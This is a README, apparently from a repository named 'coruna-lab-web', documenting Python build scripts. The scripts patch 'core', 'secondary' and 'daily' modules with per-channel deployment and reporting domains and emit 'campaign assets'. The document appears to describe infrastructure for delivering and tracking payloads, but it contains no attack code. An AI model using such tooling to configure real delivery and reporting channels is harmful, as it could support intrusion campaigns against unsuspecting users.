Files
coruna-lab-web/frontend/tools/README.md
T
hashbro 8b079d37e4 Build delivery over HTTPS and flatten source/web.
Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-09 16:07:55 +08:00

71 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# tools:channel id / 固定域名
本项目是 **coruna-lab-web**。构建域名由 CLI / build API 显式传入,不再读取 Laravel。
每次构建都会生成一份完整、互不共享的渠道目录:
1. 生成或使用 **32 位小写 `[0-9a-z]`** channel id
2. 从 source 复制 web、sync 模板
3. 同时重打 secondary、core、sync plugins 和 daily
4. 将首个 daily 请求及 daily 内模块 URL 绑定到当前渠道路径
```bash
cd coruna-lab-web
pip3 install -r requirements.txt
python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example' \
--support-template test # test | blank
python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--root '/srv/coruna-artifacts/staging/request-id' \
--force \
--deployment-domains 'www.dep1.example' \
--reporting-domains 'www.rep1.example' \
--support-template blank
```
`support_template`:`test`(默认 HUD)、`blank`(空白页)。
产物:
- 默认:`artifacts/channel/<channel-id>/{web,sync,out}/`
- 指定 `--root`:`<root>/{web,sync,out}/`
- 渠道发布清单:`<root>/manifest.json`
- 静态 URL:
- `/channel/<channel-id>/web/support.html`
- `/channel/<channel-id>/sync/daily.html`
## 仅重建(已有渠道工作目录)
```bash
python3 frontend/tools/patch_all.py --apply --root /srv/coruna-artifacts/channel/<id> \
--channel-id 'dddddddddddddddddddddddddddddddd' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
### Seed 格式
- ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符
- `new_project` 默认按域名列表稳定派生 seed,也可显式传入
## 分步脚本
```bash
python3 frontend/tools/patch_secondary_packs.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <id> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root /srv/coruna-artifacts/channel/<id> --apply
python3 frontend/tools/patch_core.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <id> \
--root /srv/coruna-artifacts/channel/<id> --apply
```